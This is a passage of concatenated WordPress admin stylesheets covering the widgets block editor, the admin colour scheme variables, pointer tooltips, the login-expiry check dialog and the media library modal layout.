  position:relative;
}
.edit-widgets-block-editor,.edit-widgets-block-editor .block-editor-writing-flow,.edit-widgets-block-editor>div:last-of-type{
  display:flex;
  flex-direction:column;
  flex-grow:1;
}
.edit-widgets-block-editor .edit-widgets-main-block-list{
  height:100%;
}
.edit-widgets-block-editor .components-button{
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:13px;
}
.edit-widgets-block-editor .components-button.has-icon,.edit-widgets-block-editor .components-button.is-tertiary{
  padding:6px;
}

.edit-widgets-editor__list-view-panel{
  display:flex;
  flex-direction:column;
  height:100%;
  min-width:350px;
}

.edit-widgets-editor__list-view-panel-content{
  height:calc(100% - 44px);
  overflow-y:auto;
  padding:8px;
}

.edit-widgets-editor__list-view-panel-header{
  align-items:center;
  border-bottom:1px solid #ddd;
  display:flex;
  height:48px;
  justify-content:space-between;
  padding-left:4px;
  padding-right:16px;
}

body.js.appearance_page_gutenberg-widgets,body.js.widgets-php{
  background:#fff;
}
body.js.appearance_page_gutenberg-widgets #wpcontent,body.js.widgets-php #wpcontent{
  padding-right:0;
}
body.js.appearance_page_gutenberg-widgets #wpbody-content,body.js.widgets-php #wpbody-content{
  padding-bottom:0;
}
body.js.appearance_page_gutenberg-widgets #wpbody-content>div:not(.blocks-widgets-container):not(#screen-meta),body.js.appearance_page_gutenberg-widgets #wpfooter,body.js.widgets-php #wpbody-content>div:not(.blocks-widgets-container):not(#screen-meta),body.js.widgets-php #wpfooter{
  display:none;
}
body.js.appearance_page_gutenberg-widgets .a11y-speak-region,body.js.widgets-php .a11y-speak-region{
  right:-1px;
  top:-1px;
}
body.js.appearance_page_gutenberg-widgets ul#adminmenu a.wp-has-current-submenu:after,body.js.appearance_page_gutenberg-widgets ul#adminmenu>li.current>a.current:after,body.js.widgets-php ul#adminmenu a.wp-has-current-submenu:after,body.js.widgets-php ul#adminmenu>li.current>a.current:after{
  border-left-color:#fff;
}
body.js.appearance_page_gutenberg-widgets .media-frame select.attachment-filters:last-of-type,body.js.widgets-php .media-frame select.attachment-filters:last-of-type{
  max-width:100%;
  width:auto;
}

.blocks-widgets-container,.components-modal__frame{
  box-sizing:border-box;
}
.blocks-widgets-container *,.blocks-widgets-container :after,.blocks-widgets-container :before,.components-modal__frame *,.components-modal__frame :after,.components-modal__frame :before{
  box-sizing:inherit;
}

@media (min-width:600px){
  .blocks-widgets-container{
    bottom:0;
    left:0;
    min-height:calc(100vh - 46px);
    position:absolute;
    right:0;
    top:0;
  }
}
@media (min-width:782px){
  .blocks-widgets-container{
    min-height:calc(100vh - 32px);
  }
}
.blocks-widgets-container .interface-interface-skeleton__content{
  background-color:#f0f0f0;
}

.blocks-widgets-container .editor-styles-wrapper{
  margin:auto;
  max-width:700px;
}

.edit-widgets-sidebar .components-button.interface-complementary-area__pin-unpin-item{
  display:none;
}

.js .widgets-php .notice{
  display:none !important;
}

body.admin-color-light{
  --wp-admin-theme-color:#0085ba;
  --wp-admin-theme-color--rgb:0, 133, 186;
  --wp-admin-theme-color-darker-10:#0073a1;
  --wp-admin-theme-color-darker-10--rgb:0, 115, 161;
  --wp-admin-theme-color-darker-20:#006187;
  --wp-admin-theme-color-darker-20--rgb:0, 97, 135;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-light{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-modern{
  --wp-admin-theme-color:#3858e9;
  --wp-admin-theme-color--rgb:56, 88, 233;
  --wp-admin-theme-color-darker-10:#2145e6;
  --wp-admin-theme-color-darker-10--rgb:33, 69, 230;
  --wp-admin-theme-color-darker-20:#183ad6;
  --wp-admin-theme-color-darker-20--rgb:24, 58, 214;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-modern{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-blue{
  --wp-admin-theme-color:#096484;
  --wp-admin-theme-color--rgb:9, 100, 132;
  --wp-admin-theme-color-darker-10:#07526c;
  --wp-admin-theme-color-darker-10--rgb:7, 82, 108;
  --wp-admin-theme-color-darker-20:#064054;
  --wp-admin-theme-color-darker-20--rgb:6, 64, 84;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-blue{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-coffee{
  --wp-admin-theme-color:#46403c;
  --wp-admin-theme-color--rgb:70, 64, 60;
  --wp-admin-theme-color-darker-10:#383330;
  --wp-admin-theme-color-darker-10--rgb:56, 51, 48;
  --wp-admin-theme-color-darker-20:#2b2724;
  --wp-admin-theme-color-darker-20--rgb:43, 39, 36;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-coffee{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-ectoplasm{
  --wp-admin-theme-color:#523f6d;
  --wp-admin-theme-color--rgb:82, 63, 109;
  --wp-admin-theme-color-darker-10:#46365d;
  --wp-admin-theme-color-darker-10--rgb:70, 54, 93;
  --wp-admin-theme-color-darker-20:#3a2c4d;
  --wp-admin-theme-color-darker-20--rgb:58, 44, 77;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-ectoplasm{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-midnight{
  --wp-admin-theme-color:#e14d43;
  --wp-admin-theme-color--rgb:225, 77, 67;
  --wp-admin-theme-color-darker-10:#dd382d;
  --wp-admin-theme-color-darker-10--rgb:221, 56, 45;
  --wp-admin-theme-color-darker-20:#d02c21;
  --wp-admin-theme-color-darker-20--rgb:208, 44, 33;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-midnight{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-ocean{
  --wp-admin-theme-color:#627c83;
  --wp-admin-theme-color--rgb:98, 124, 131;
  --wp-admin-theme-color-darker-10:#576e74;
  --wp-admin-theme-color-darker-10--rgb:87, 110, 116;
  --wp-admin-theme-color-darker-20:#4c6066;
  --wp-admin-theme-color-darker-20--rgb:76, 96, 102;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-ocean{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-sunrise{
  --wp-admin-theme-color:#dd823b;
  --wp-admin-theme-color--rgb:221, 130, 59;
  --wp-admin-theme-color-darker-10:#d97426;
  --wp-admin-theme-color-darker-10--rgb:217, 116, 38;
  --wp-admin-theme-color-darker-20:#c36922;
  --wp-admin-theme-color-darker-20--rgb:195, 105, 34;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-sunrise{
    --wp-admin-border-width-focus:1.5px;
  }
}/*! This file is auto-generated */
.wp-pointer-content{padding:0 0 10px;position:relative;font-size:13px;background:#fff;border:1px solid #c3c4c7;box-shadow:0 3px 6px rgba(0,0,0,.08)}.wp-pointer-content h3{position:relative;margin:-1px -1px 5px;padding:15px 60px 14px 18px;border:1px solid #2271b1;border-bottom:none;line-height:1.4;font-size:14px;color:#fff;background:#2271b1}.wp-pointer-content h3:before{background:#fff;border-radius:50%;color:#2271b1;content:"\f227";font:normal 20px/1.6 dashicons;position:absolute;top:8px;right:15px;speak:never;text-align:center;width:32px;height:32px;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.wp-pointer-content h4{margin:1.33em 20px 1em;font-size:1.15em}.wp-pointer-content p{padding:0 20px}.wp-pointer-buttons{margin:0;padding:5px 15px;overflow:auto}.wp-pointer-buttons a{float:left;display:inline-block;text-decoration:none}.wp-pointer-buttons a.close{padding-right:3px;position:relative}.wp-pointer-buttons a.close:before{background:0 0;color:#787c82;content:"\f153";display:block!important;font:normal 16px/1 dashicons;speak:never;margin:1px 0;text-align:center;-webkit-font-smoothing:antialiased!important;width:10px;height:100%;position:absolute;right:-15px;top:1px}.wp-pointer-buttons a.close:hover:before{color:#d63638}.wp-pointer-arrow,.wp-pointer-arrow-inner{position:absolute;width:0;height:0}.wp-pointer-arrow{z-index:10;width:0;height:0;border:0 solid transparent}.wp-pointer-arrow-inner{z-index:20}.wp-pointer-top,.wp-pointer-undefined{padding-top:13px}.wp-pointer-bottom{margin-top:-13px;padding-bottom:13px}.wp-pointer-left{padding-left:13px}.wp-pointer-right{margin-left:-13px;padding-right:13px}.wp-pointer-bottom .wp-pointer-arrow,.wp-pointer-top .wp-pointer-arrow,.wp-pointer-undefined .wp-pointer-arrow{right:50px}.wp-pointer-left .wp-pointer-arrow,.wp-pointer-right .wp-pointer-arrow{top:50%;margin-top:-15px}.wp-pointer-top .wp-pointer-arrow,.wp-pointer-undefined .wp-pointer-arrow{top:0;border-width:0 13px 13px;border-bottom-color:#2271b1}.wp-pointer-top .wp-pointer-arrow-inner,.wp-pointer-undefined .wp-pointer-arrow-inner{top:1px;margin-right:-13px;margin-top:-13px;border:13px solid transparent;border-bottom-color:#2271b1;display:block;content:" "}.wp-pointer-bottom .wp-pointer-arrow{bottom:0;border-width:13px 13px 0;border-top-color:#c3c4c7}.wp-pointer-bottom .wp-pointer-arrow-inner{bottom:1px;margin-right:-13px;margin-bottom:-13px;border:13px solid transparent;border-top-color:#fff;display:block;content:" "}.wp-pointer-left .wp-pointer-arrow{left:0;border-width:13px 13px 13px 0;border-right-color:#c3c4c7}.wp-pointer-left .wp-pointer-arrow-inner{left:1px;margin-left:-13px;margin-top:-13px;border:13px solid transparent;border-right-color:#fff;display:block;content:" "}.wp-pointer-right .wp-pointer-arrow{right:0;border-width:13px 0 13px 13px;border-left-color:#c3c4c7}.wp-pointer-right .wp-pointer-arrow-inner{right:1px;margin-right:-13px;margin-top:-13px;border:13px solid transparent;border-left-color:#fff;display:block;content:" "}.wp-pointer.arrow-bottom .wp-pointer-content{margin-bottom:-45px}.wp-pointer.arrow-bottom .wp-pointer-arrow{top:100%;margin-top:-30px}@media screen and (max-width:782px){.wp-pointer{display:none}}/*! This file is auto-generated */
#wp-auth-check-wrap.hidden{display:none}#wp-auth-check-wrap #wp-auth-check-bg{position:fixed;top:0;bottom:0;right:0;left:0;background:#000;opacity:.7;z-index:1000010}#wp-auth-check-wrap #wp-auth-check{position:fixed;right:50%;overflow:hidden;top:40px;bottom:20px;max-height:415px;width:380px;margin:0 -190px 0 0;padding:30px 0 0;background-color:#f0f0f1;z-index:1000011;box-shadow:0 3px 6px rgba(0,0,0,.3)}@media screen and (max-width:380px){#wp-auth-check-wrap #wp-auth-check{right:0;width:100%;margin:0}}#wp-auth-check-wrap.fallback #wp-auth-check{max-height:180px;overflow:auto}#wp-auth-check-wrap #wp-auth-check-form{height:100%;position:relative;overflow:auto;-webkit-overflow-scrolling:touch}#wp-auth-check-form.loading:before{content:"";display:block;width:20px;height:20px;position:absolute;right:50%;top:50%;margin:-10px -10px 0 0;background:url(../images/spinner.gif) no-repeat center;background-size:20px 20px;transform:translateZ(0)}@media print,(min-resolution:120dpi){#wp-auth-check-form.loading:before{background-image:url(../images/spinner-2x.gif)}}#wp-auth-check-wrap #wp-auth-check-form iframe{height:98%;width:100%}#wp-auth-check-wrap .wp-auth-check-close{position:absolute;top:5px;left:5px;height:22px;width:22px;color:#787c82;text-decoration:none;text-align:center}#wp-auth-check-wrap .wp-auth-check-close:before{content:"\f158";font:normal 20px/22px dashicons;speak:never;-webkit-font-smoothing:antialiased!important;-moz-osx-font-smoothing:grayscale}#wp-auth-check-wrap .wp-auth-check-close:focus,#wp-auth-check-wrap .wp-auth-check-close:hover{color:#2271b1}#wp-auth-check-wrap .wp-auth-fallback-expired{outline:0}#wp-auth-check-wrap .wp-auth-fallback{font-size:14px;line-height:1.5;padding:0 25px;display:none}#wp-auth-check-wrap.fallback .wp-auth-check-close,#wp-auth-check-wrap.fallback .wp-auth-fallback{display:block}/**
 * Base Styles
 */
.media-modal * {
	box-sizing: content-box;
}

.media-modal input,
.media-modal select,
.media-modal textarea {
	box-sizing: border-box;
}

.media-modal,
.media-frame {
	font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
	font-size: 12px;
	-webkit-overflow-scrolling: touch;
}

.media-modal legend {
	padding: 0;
	font-size: 13px;
}

.media-modal label {
	font-size: 13px;
}

.media-modal .legend-inline {
	position: absolute;
	transform: translate(-100%, 50%);
	margin-left: -1%;
	line-height: 1.2;
}

.media-frame a {
	border-bottom: none;
	color: #2271b1;
}

.media-frame a:hover,
.media-frame a:active {
	color: #135e96;
}

.media-frame a:focus {
	box-shadow: 0 0 0 2px #2271b1;
	color: #043959;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

.media-frame a.button {
	color: #2c3338;
}

.media-frame a.button:hover {
	color: #1d2327;
}

.media-frame a.button-primary,
.media-frame a.button-primary:hover {
	color: #fff;
}

.media-frame input,
.media-frame textarea {
	padding: 6px 8px;
}

.media-frame select,
.wp-admin .media-frame select {
	min-height: 30px;
	vertical-align: middle;
}

.media-frame input[type="text"],
.media-frame input[type="password"],
.media-frame input[type="color"],
.media-frame input[type="date"],
.media-frame input[type="datetime"],
.media-frame input[type="datetime-local"],
.media-frame input[type="email"],
.media-frame input[type="month"],
.media-frame input[type="number"],
.media-frame input[type="search"],
.media-frame input[type="tel"],
.media-frame input[type="time"],
.media-frame input[type="url"],
.media-frame input[type="week"],
.media-frame textarea,
.media-frame select {
	box-shadow: 0 0 0 transparent;
	border-radius: 4px;
	border: 1px solid #8c8f94;
	background-color: #fff;
	color: #2c3338;
	font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
	font-size: 13px;
	line-height: 1.38461538;
}

.media-frame input[type="text"],
.media-frame input[type="password"],
.media-frame input[type="date"],
.media-frame input[type="datetime"],
.media-frame input[type="datetime-local"],
.media-frame input[type="email"],
.media-frame input[type="month"],
.media-frame input[type="number"],
.media-frame input[type="search"],
.media-frame input[type="tel"],
.media-frame input[type="time"],
.media-frame input[type="url"],
.media-frame input[type="week"] {
	padding: 0 8px;
	/* inherits font size 13px */
	line-height: 2.15384615; /* 28px */
}

/* Search field in the Media Library toolbar */
.media-frame.mode-grid .wp-filter input[type="search"] {
	font-size: 14px;
	line-height: 2;
}

.media-frame input[type="text"]:focus,
.media-frame input[type="password"]:focus,
.media-frame input[type="number"]:focus,
.media-frame input[type="search"]:focus,
.media-frame input[type="email"]:focus,
.media-frame input[type="url"]:focus,
.media-frame textarea:focus,
.media-frame select:focus {
	border-color: #3582c4;
	box-shadow: 0 0 0 1px #3582c4;
	outline: 2px solid transparent;
}

.media-frame input:disabled,
.media-frame textarea:disabled,
.media-frame input[readonly],
.media-frame textarea[readonly] {
	background-color: #f0f0f1;
}

.media-frame input[type="search"] {
	-webkit-appearance: textfield;
}

.media-frame ::-webkit-input-placeholder {
	color: #646970;
}

.media-frame ::-moz-placeholder {
	color: #646970;
	opacity: 1;
}

.media-frame :-ms-input-placeholder {
	color: #646970;
}

/*
 * In some cases there's the need of higher specificity,
 * for example higher than `.media-embed .setting`.
 */
.media-frame .hidden,
.media-frame .setting.hidden {
	display: none;
}

/*!
 * jQuery UI Draggable/Sortable 1.11.4
 * http://jqueryui.com
 *
 * Copyright jQuery Foundation and other contributors
 * Released under the MIT license.
 * http://jquery.org/license
 */
.ui-draggable-handle,
.ui-sortable-handle {
	touch-action: none;
}

/**
 * Modal
 */
.media-modal {
	position: fixed;
	top: 30px;
	left: 30px;
	right: 30px;
	bottom: 30px;
	z-index: 160000;
}

.wp-customizer .media-modal {
	z-index: 560000;
}

.media-modal-backdrop {
	position: fixed;
	top: 0;
	left: 0;
	right: 0;
	bottom: 0;
	min-height: 360px;
	background: #000;
	opacity: 0.7;
	z-index: 159900;
}

.wp-customizer .media-modal-backdrop {
	z-index: 559900;
}

.media-modal-close {
	position: absolute;
	top: 0;
	right: 0;
	width: 50px;
	height: 50px;
	margin: 0;
	padding: 0;
	border: 1px solid transparent;
	background: none;
	color: #646970;
	z-index: 1000;
	cursor: pointer;
	outline: none;
	transition: color .1s ease-in-out, background .1s ease-in-out;
}

.media-modal-close:hover,
.media-modal-close:active {
	color: #135e96;
}

.media-modal-close:focus {
	color: #135e96;
	border-color: #4f94d4;
	box-shadow: 0 0 3px rgba(34, 113, 177, 0.8);
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

.media-modal-close span.media-modal-icon {
	background-image: none;
}

.media-modal-close .media-modal-icon:before {
	content: "\f158";
	font: normal 20px/1 dashicons;
	speak: never;
	vertical-align: middle;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}

.media-modal-content {
	position: absolute;
	top: 0;
	left: 0;
	right: 0;
	bottom: 0;
	overflow: auto;
	min-height: 300px;
	box-shadow: 0 5px 15px rgba(0, 0, 0, 0.7);
	background: #fff;
	-webkit-font-smoothing: subpixel-antialiased;
}

.media-modal-content .media-frame select.attachment-filters {
	margin-top: 32px;
	margin-right: 2%;
	width: 42%;
	width: calc(48% - 12px);
}

/* higher specificity */
.wp-core-ui .media-modal-icon {
	background-image: url(../images/uploader-icons.png);
	background-repeat: no-repeat;
}

/**
 * Toolbar
 */
.media-toolbar {
	position: absolute;
	top: 0;
	left: 0;
	right: 0;
	z-index: 100;
	height: 60px;
	padding: 0 16px;
	border: 0 solid #dcdcde;
	overflow: hidden;
}

.media-frame-toolbar .media-toolbar {
	top: auto;
	bottom: -47px;
	height: auto;
	overflow: visible;
	border-top: 1px solid #dcdcde;
}

.media-toolbar-primary {
	float: right;
	height: 100%;
	position: relative;
}

.media-toolbar-secondary {
	float: left;
	height: 100%;
}

.media-toolbar-primary > .media-button,
.media-toolbar-primary > .media-button-group {
	margin-left: 10px;
	float: left;
	margin-top: 15px;
}

.media-toolbar-secondary > .media-button,
.media-toolbar-secondary > .media-button-group {
	margin-right: 10px;
	margin-top: 15px;
}

/**
 * Sidebar
 */
.media-sidebar {
	position: absolute;
	top: 0;
	right: 0;
	bottom: 0;
	width: 267px;
	padding: 0 16px;
	z-index: 75;
	background: #f6f7f7;
	border-left: 1px solid #dcdcde;
	overflow: auto;
	-webkit-overflow-scrolling: touch;
}

/*
 * Implementation of bottom padding in overflow content differs across browsers.
 * We need a different method. See https://github.com/w3c/csswg-drafts/issues/129
 */
.media-sidebar::after {
	content: "";
	display: flex;
	clear: both;
	height: 24px;
}

.hide-toolbar .media-sidebar {
	bottom: 0;
}

.media-sidebar h2,
.image-details .media-embed h2 {
	position: relative;
	font-weight: 600;
	text-transform: uppercase;
	font-size: 12px;
	color: #646970;
	margin: 24px 0 8px;
}

.media-sidebar .setting,
.attachment-details .setting {
	display: block;
	float: left;
	width: 100%;
	margin: 0 0 10px;
}

.media-sidebar .collection-settings .setting {
	margin: 1px 0;
}

.media-sidebar .setting.has-description,
.attachment-details .setting.has-description {
	margin-bottom: 5px;
}

.media-sidebar .setting .link-to-custom {
	margin: 3px 2px 0;
}

.media-sidebar .setting span, /* Back-compat for pre-5.3 */
.attachment-details .setting span, /* Back-compat for pre-5.3 */
.media-sidebar .setting .name,
.media-sidebar .setting .value,
.attachment-details .setting .name {
	min-width: 30%;
	margin-right: 4%;
	font-size: 12px;
	text-align: right;
	word-wrap: break-word;
}

.media-sidebar .setting .name {
	max-width: 80px;
}

.media-sidebar .setting .value {
	text-align: left;
}

.media-sidebar .setting select {
	max-width: 65%;
}

.media-sidebar .setting input[type="checkbox"],
.media-sidebar .field input[type="checkbox"],
.media-sidebar .setting input[type="radio"],
.media-sidebar .field input[type="radio"],
.attachment-details .setting input[type="checkbox"],
.attachment-details .field input[type="checkbox"],
.attachment-details .setting input[type="radio"],
.attachment-details .field input[type="radio"] {
	float: none;
	margin: 8px 3px 0;
	padding: 0;
}

.media-sidebar .setting span, /* Back-compat for pre-5.3 */
.attachment-details .setting span, /* Back-compat for pre-5.3 */
.media-sidebar .setting .name,
.media-sidebar .setting .value,
.media-sidebar .checkbox-label-inline,
.attachment-details .setting .name,
.attachment-details .setting .value,
.compat-item label span {
	float: left;
	min-height: 22px;
	padding-top: 8px;
	line-height: 1.33333333;
	font-weight: 400;
	color: #646970;
}

.media-sidebar .checkbox-label-inline {
	font-size: 12px;
}

.media-sidebar .copy-to-clipboard-container,
.attachment-details .copy-to-clipboard-container {
	flex-wrap: wrap;
	margin-top: 10px;
	margin-left: calc( 35% - 1px );
	padding-top: 10px;
}

/* Needs high specificity. */
.attachment-details .attachment-info .copy-to-clipboard-container {
	float: none;
}

.media-sidebar .copy-to-clipboard-container .success,
.attachment-details .copy-to-clipboard-container .success {
	padding: 0;
	min-height: 0;
	line-height: 2.18181818;
	text-align: left;
	color: #007017;
}

.compat-item label span {
	text-align: right;
}

.media-sidebar .setting input[type="text"],
.media-sidebar .setting input[type="password"],
.media-sidebar .setting input[type="email"],
.media-sidebar .setting input[type="number"],
.media-sidebar .setting input[type="search"],
.media-sidebar .setting input[type="tel"],
.media-sidebar .setting input[type="url"],
.media-sidebar .setting textarea,
.media-sidebar .setting .value,
.attachment-details .setting input[type="text"],
.attachment-details .setting input[type="password"],
.attachment-details .setting input[type="email"],
.attachment-details .setting input[type="number"],
.attachment-details .setting input[type="search"],
.attachment-details .setting input[type="tel"],
.attachment-details .setting input[type="url"],
.attachment-details .setting textarea,
.attachment-details .setting .value,
.attachment-details .setting + .description {
	box-sizing: border-box;
	margin: 1px;
	width: 65%;
	float: right;
}

.media-sidebar .setting .value,
.attachment-details .setting .value,
.attachment-details .setting + .description {
	margin: 0 1px;
	text-align: left;
}

.attachment-details .setting + .description {
	clear: both;
	font-size: 12px;
	font-style: normal;
	margin-bottom: 10px;
}

.media-sidebar .setting textarea,
.attachment-details .setting textarea,
.compat-item .field textarea {
	height: 62px;
	resize: vertical;
}

.media-sidebar .alt-text textarea,
.attachment-details .alt-text textarea,
.compat-item .alt-text textarea,
.alt-text textarea {
	height: 50px;
}

.compat-item {
	float: left;
	width: 100%;
	overflow: hidden;
}

.compat-item table {
	width: 100%;
	table-layout: fixed;
	border-spacing: 0;
	border: 0;
}

.compat-item tr {
	padding: 2px 0;
	display: block;
	overflow: hidden;
}

.compat-item .label,
.compat-item .field {
	display: block;
	margin: 0;
	padding: 0;
}

.compat-item .label {
	min-width: 30%;
	margin-right: 4%;
	float: left;
	text-align: right;
}

.compat-item .label span {
	display: block;
	width: 100%;
}

.compat-item .field {
	float: right;
	width: 65%;
	margin: 1px;
}

.compat-item .field input[type="text"],
.compat-item .field input[type="password"],
.compat-item .field input[type="email"],
.compat-item .field input[type="number"],
.compat-item .field input[type="search"],
.compat-item .field input[type="tel"],
.compat-item .field input[type="url"],
.compat-item .field textarea {
	width: 100%;
	margin: 0;
	box-sizing: border-box;
}

.sidebar-for-errors .attachment-details,
.sidebar-for-errors .compat-item,
.sidebar-for-errors .media-sidebar .media-progress-bar,
.sidebar-for-errors .upload-details {
	display: none !important;
}

/**
 * Menu
 */
.media-menu {
	position: absolute;
	top: 0;
	left: 0;
	right: 0;
	bottom: 0;
	margin: 0;
	padding: 50px 0 10px;
	background: #f6f7f7;
	border-right-width: 1px;
	border-right-style: solid;
	border-right-color: #c3c4c7;
	-webkit-user-select: none;
	user-select: none;
}

.media-menu .media-menu-item {
	display: block;
	box-sizing: border-box;
	width: 100%;
	position: relative;
	border: 0;
	margin: 0;
	padding: 8px 20px;
	font-size: 14px;
	line-height: 1.28571428;
	background: transparent;
	color: #2271b1;
	text-align: left;
	text-decoration: none;
	cursor: pointer;
}

.media-menu .media-menu-item:hover {
	background: rgba(0, 0, 0, 0.04);
}

.media-menu .media-menu-item:active {
	color: #2271b1;
	outline: none;
}

.media-menu .active,
.media-menu .active:hover {
	color: #1d2327;
	font-weight: 600;
}

.media-menu .media-menu-item:focus {
	box-shadow: 0 0 0 2px #2271b1;
	color: #043959;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

.media-menu .separator {
	height: 0;
	margin: 12px 20px;
	padding: 0;
	border-top: 1px solid #dcdcde;
}

/**
 * Menu
 */
.media-router {
	position: relative;
	padding: 0 6px;
	margin: 0;
	clear: both;
}

.media-router .media-menu-item {
	position: relative;
	float: left;
	border: 0;
	margin: 0;
	padding: 8px 10px 9px;
	height: 18px;
	line-height: 1.28571428;
	font-size: 14px;
	text-decoration: none;
	background: transparent;
	cursor: pointer;
	transition: none;
}

.media-router .media-menu-item:last-child {
	border-right: 0;
}

.media-router .media-menu-item:hover,
.media-router .media-menu-item:active {
	color: #2271b1;
}

.media-router .active,
.media-router .active:hover {
	color: #1d2327;
}

.media-router .media-menu-item:focus {
	box-shadow: 0 0 0 2px #2271b1;
	color: #043959;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

.media-router .active,
.media-router .media-menu-item.active:last-child {
	margin: -1px -1px 0;
	background: #fff;
	border: 1px solid #dcdcde;
	border-bottom: none;
}

.media-router .active:after {
	display: none;
}

/**
 * Frame
 */
.media-frame {
	overflow: hidden;
	position: absolute;
	top: 0;
	left: 0;
	right: 0;
	bottom: 0;
}

.media-frame-menu {
	position: absolute;
	top: 0;
	left: 0;
	bottom: 0;
	width: 200px;
	z-index: 150;
}

.media-frame-title {
	position: absolute;
	top: 0;
	left: 200px;
	right: 0;
	height: 50px;
	z-index: 200;
}

.media-frame-router {
	position: absolute;
	top: 50px;
	left: 200px;
	right: 0;
	height: 36px;
	z-index: 200;
}

.media-frame-content {
	position: absolute;
	top: 84px;
	left: 200px;
	right: 0;
	bottom: 61px;
	height: auto;
	width: auto;
	margin: 0;
	overflow: auto;
	background: #fff;
	border-top: 1px solid #dcdcde;
}

.media-frame-toolbar {
	position: absolute;
	left: 200px;
	right: 0;
	z-index: 100;
	bottom: 60px;
	height: auto;
}

.media-frame.hide-menu .media-frame-title,
.media-frame.hide-menu .media-frame-router,
.media-frame.hide-menu .media-frame-toolbar,
.media-frame.hide-menu .media-frame-content {
	left: 0;
}

.media-frame.hide-toolbar .media-frame-content {
	bottom: 0;
}

.media-frame.hide-router .media-frame-content {
	top: 50px;
}

.media-frame.hide-menu .media-frame-menu,
.media-frame.hide-menu .media-frame-menu-heading,
.media-frame.hide-router .media-frame-router,
.media-frame.hide-toolbar .media-frame-toolbar {
	display: none;
}

.media-frame-title h1 {
	padding: 0 16px;
	font-size: 22px;
	line-height: 2.27272727;
	margin: 0;
}

.media-frame-menu-heading,
.media-attachments-filter-heading {
	position: absolute;
	left: 20px;
	top: 22px;
	margin: 0;
	font-size: 13px;
	line-height: 1;
	/* Above the media-frame-menu. */
	z-index: 151;
}

.media-attachments-filter-heading {
	top: 10px;
	left: 16px;
}

.mode-grid .media-attachments-filter-heading {
	top: 0;
	left: -9999px;
}

.mode-grid .media-frame-actions-heading {
	display: none;
}

.wp-core-ui .button.media-frame-menu-toggle {
	display: none;
}

.media-frame-title .suggested-dimensions {
	font-size: 14px;
	float: right;
	margin-right: 20px;
}

.media-frame-content .crop-content {
	height: 100%;
}

.options-general-php .crop-content.site-icon,
.wp-customizer:not(.mobile) .media-frame-content .crop-content.site-icon {
	margin-right: 300px;
}

.media-frame-content .crop-content .crop-image {
	display: block;
	margin: auto;
	max-width: 100%;
	max-height: 100%;
}

.media-frame-content .crop-content .upload-errors {
	position: absolute;
	width: 300px;
	top: 50%;
	left: 50%;
	margin-left: -150px;
	margin-right: -150px;
	z-index: 600000;
}

/**
 * Iframes
 */
.media-frame .media-iframe {
	overflow: hidden;
}

.media-frame .media-iframe,
.media-frame .media-iframe iframe {
	height: 100%;
	width: 100%;
	border: 0;
}

/**
 * Attachment Browser Filters
 */
.media-frame select.attachment-filters {
	margin-top: 11px;
	margin-right: 2%;
	max-width: 42%;
	max-width: calc(48% - 12px);
}

.media-frame select.attachment-filters:last-of-type {
	margin-right: 0;
}

/**
 * Search
 */
.media-frame .search {
	margin: 32px 0 0;
	padding: 4px;
	font-size: 13px;
	color: #3c434a;
	font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
	-webkit-appearance: none;
}

.media-toolbar-primary .search {
	max-width: 100%;
}

.media-modal .media-frame .media-search-input-label {
	position: absolute;
	left: 0;
	top: 10px;
	margin: 0;
	line-height: 1;
}

/**
 * Attachments
 */
.wp-core-ui .attachments {
	margin: 0;
	-webkit-overflow-scrolling: touch;
}

/**
 * Attachment
 */
.wp-core-ui .attachment {
	position: relative;
	float: left;
	padding: 8px;
	margin: 0;
	color: #3c434a;
	cursor: pointer;
	list-style: none;
	text-align: center;
	-webkit-user-select: none;
	user-select: none;
	width: 25%;
	box-sizing: border-box;
}

.wp-core-ui .attachment:focus,
.wp-core-ui .selected.attachment:focus,
.wp-core-ui .attachment.details:focus {
	box-shadow:
		inset 0 0 2px 3px #fff,
		inset 0 0 0 7px #4f94d4;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
	outline-offset: -6px;
}

.wp-core-ui .selected.attachment {
	box-shadow:
		inset 0 0 0 5px #fff,
		inset 0 0 0 7px #c3c4c7;
}

.wp-core-ui .attachment.details {
	box-shadow:
		inset 0 0 0 3px #fff,
		inset 0 0 0 7px #2271b1;
}

.wp-core-ui .attachment-preview {
	position: relative;
	box-shadow:
		inset 0 0 15px rgba(0, 0, 0, 0.1),
		inset 0 0 0 1px rgba(0, 0, 0, 0.05);
	background: #f0f0f1;
	cursor: pointer;
}

.wp-core-ui .attachment-preview:before {
	content: "";
	display: block;
	padding-top: 100%;
}

.wp-core-ui .attachment .icon {
